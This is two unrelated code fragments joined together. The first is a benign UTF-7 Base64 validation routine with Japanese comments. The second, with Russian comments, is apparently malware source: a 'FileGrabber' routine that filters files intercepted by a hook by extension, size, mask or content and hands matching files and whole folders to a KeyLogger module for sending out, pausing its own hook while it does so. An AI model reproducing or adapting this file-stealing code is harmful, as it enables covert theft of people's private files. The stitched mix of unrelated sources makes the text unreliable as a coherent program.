/*! UTF-7 セットBの文字列か @return セットB文字列の長さ @param[out] ppNextChar 次のブロック(UTF-7セットD部分)の先頭文字のポインタが格納される(文字'-'を飛ばす) @note この関数の前に CheckUtf7DPart() が実行される必要がある。 */ int CheckUtf7BPart( const char *pS, const int nLen, char **ppNextChar, bool *pbError, const int nOption ) { const char *pr, *pr_end; bool berror_found, bminus_found; int nchecklen; wchar_t* pdata; int ndatalen, nret; ECharSet echarset; CMemory cmbuffer; if( nLen < 1 ){ if( pbError ){ *pbError = false; } *ppNextChar = const_cast<char*>( pS ); return 0; } berror_found = false; bminus_found = false; pr = pS; pr_end = pS + nLen; for( ; pr < pr_end; ++pr ){ // セットBの文字でなくなるまでループ if( !IsBase64(*pr) ){ if( *pr == '-' ){ bminus_found= true; }else{ bminus_found = false; } break; } } nchecklen = pr - pS; // 保護コード if( nchecklen < 1 ){ nchecklen = 0; } /* ◆ デコード後のデータ長の確認 調査してきたデータ長 nchecklen(= pr - pS) を8で割ってみる. その余りの値から考えられるビット列は… |----------------------------- Base64 表現 --------------------------------------------| 第1バイト 第2バイト 第3バイト 第4バイト 第5バイト 第6バイト 第7バイト 第8バイト 残り1文字 00xx xxxx 00xx xxxx 00xx xx00 --- --- --- --- --- 残り2文字 00xx xxxx 00xx xxxx 00xx xxxx 00xx xxxx 00xx xxxx 00xx 0000 --- --- 残り3文字 00xx xxxx 00xx xxxx 00xx xxxx 00xx xxxx 00xx xxxx 00xx xxxx 00xx xxxx 00xx xxxx 上記3通りのいづれにも当てはまらない場合は全データを落とす(不正バイトとする). */ const char *pr_ = pr - 1; switch( nchecklen % 8 ){ case 0: break; case 3: if( Base64ToVal(pr_[0]) & 0x03 ){ berror_found = true; } break; case 6: if( Base64ToVal(pr_[0]) & 0x0f ){ berror_found = true; } break; case 8: // nchecklen == 0 の場合 break; default: berror_found = true; } if( UC_LOOSE == (nOption & UC_LOOSE) ){ goto EndFunc; } // UTF-7文字列 "+-" のチェック if( pr < pr_end && (nchecklen < 1 && bminus_found != true) ){ // 読み取りポインタがデータの終端を指していなくて // 確認できた Set B 文字列の長さがゼロの場合は、 // 必ず終端文字 '-' が存在していることを確認する。 berror_found = true; } // 実際にデコードして内容を確認する。 if( berror_found == true || nchecklen < 1 ){ goto EndFunc; } cmbuffer.AllocBuffer( nchecklen ); pdata = reinterpret_cast<wchar_t*>( cmbuffer.GetRawPtr() ); if( pdata == NULL ){ goto EndFunc; } ndatalen = _DecodeBase64(pS, nchecklen, reinterpret_cast<char*>(pdata)) / sizeof(wchar_t); CMemory::SwapHLByte( reinterpret_cast<char*>(pdata), ndatalen*sizeof(wchar_t) ); for( int i = 0; i < ndatalen; i += nret ){ nret = CheckUtf16leChar( &pdata[i], ndatalen - i, &echarset, nOption & UC_NONCHARACTER ); if( echarset == CHARSET_BINARY ){ berror_found = true; goto EndFunc; } if( nret == 1 && IsUtf7SetD(pdata[i]) ){ berror_found = true; goto EndFunc; } } EndFunc:; if( pbError ){ *pbError = berror_found; } if( (berror_found == false || UC_LOOSE == (nOption & UC_LOOSE)) && (pr < pr_end && bminus_found == true) ){ // '-' をスキップ。 *ppNextChar = const_cast<char*>(pr) + 1; }else{ *ppNextChar = const_cast<char*>(pr); } return nchecklen; }
//Проверяет каждого получателя и отсылаем им оповещения о срабатывании хука, согласно условиям получателя void SendEvent( ParamEvent& e ) { if( !receivers ) return; int count = List::Count(receivers); for( int i = 0; i < count; i++ ) { Receiver* rv = (Receiver*)List::GetItem( receivers, i ); if( !rv->ignore && e.access & rv->access ) //тип доступа { int send = 0; //слать событие (>0) или нет (=0) int extFilter = FilterExt( e, rv ); if( extFilter > 0 ) //фильтер сработал { if( extFilter == 2 ) //файл нужного нам расширения { if( rv->aw & LOADFILE ) //нужно загрузить LoadFile(e); send = 1; } } else { DWORD h; e.szData = (DWORD)pGetFileSize( e.file, &h ); //подходит ли размер if( e.szData >= rv->minSize && (e.szData <= rv->maxSize || rv->maxSize < 0)) { if( rv->maska || rv->aw & FILEISBIN || rv->ignoreBeg[0][0] ) { if( LoadFile(e) ) { if( !IsFormatBeg( e, rv ) ) //файл не игнорируемого формата { //если есть какой-то из фильтров, то сообщаем только тогда когда есть реакция на один из них bool filters = false; //проходил ли через какой-то фильтер for(;;) { //проверяем маску if( rv->maska ) { filters = true; if( WildCmp( (char*)e.data, rv->maska ) ) { send = 2; break; } } if( rv->aw & FILEISBIN ) { filters = true; if( IsBin( (BYTE*)e.data, e.szData ) ) { send = 3; break; } } if( rv->aw & FILEISBASE64 ) { filters = true; if( IsBase64( (BYTE*)e.data, e.szData ) ) { send = 4; break; } } if( filters ) send = 0; //если ни один из фильтров не сработал, то сообщение не шлем break; } } } } else { if( rv->aw & LOADFILE ) //нужно загрузить LoadFile(e); send = 5; //нужно оповещать о файлах определенного размера } } } if( rv->FuncReceiver && send > 0 ) { e.nameSend[0] = 0; if( e.unicode ) { DBG("FileGrabberW", "Отреагировали на файл '%ls'(%d), size: %d", e.fileNameW, send, e.szData ); e.fileName = WSTR::ToAnsi( e.fileNameW, 0 ); } else { DBG("FileGrabberA", "Отреагировали на файл '%s'(%d), size: %d", e.fileNameA, send, e.szData ); e.fileName = (char*)e.fileNameA; } e.shortName = File::ExtractFileNameA( e.fileName, false ); //ищем расширение e.extFile = 0; const char* p = STR::ScanEnd( (char*)e.shortName, '.' ); if( p ) e.extFile = p + 1; int res = rv->FuncReceiver(&e); if( res & SENDFILE ) //если возвращает SENDFILE, то отправляем содержимое { if( e.data ) { const char* nameSend = "FileGrabber"; if( res & CURRNAMEFILE ) //извлекаем имя из полного имени файла nameSend = e.shortName; else if( res & CURRFULLNAMEFILE ) //имя файла с полными путями nameSend = e.fileName; else if( e.nameSend[0] ) //имя передал получатель nameSend = e.nameSend; DBG( "FileGrabber", "Отправили файл '%s' под именем '%s'", e.fileName, nameSend ); KeyLogger::AddFile( 0, (char*)nameSend, e.data, e.szData ); } } else if( res & SENDFOLDER ) { pPathRemoveFileSpecA(e.fileName); //добавляем в конце слеш, так функция PathRemoveFileSpec его убирает int sz = m_lstrlen(e.fileName); if( e.fileName[sz - 1] != '\\' ) { e.fileName[sz] = '\\'; e.fileName[sz + 1] = 0; sz++; } DBG( "FileGrabber", "Отправляем папку '%s' под именем '%s'", e.fileName, e.nameSend ); int currState = stateGrabber; stateGrabber |= IGNOREHOOK; //отключаем граббер KeyLogger::AddDirectory( e.fileName, e.nameSend ); stateGrabber = currState; //восстанавливаем состояние } if( res & STOPRECEIVER ) rv->ignore = true; if( e.fileName != e.fileNameA ) //освобождаем память, если была перекодировка STR::Free(e.fileName); } } } MemFree(e.data); e.data = 0; }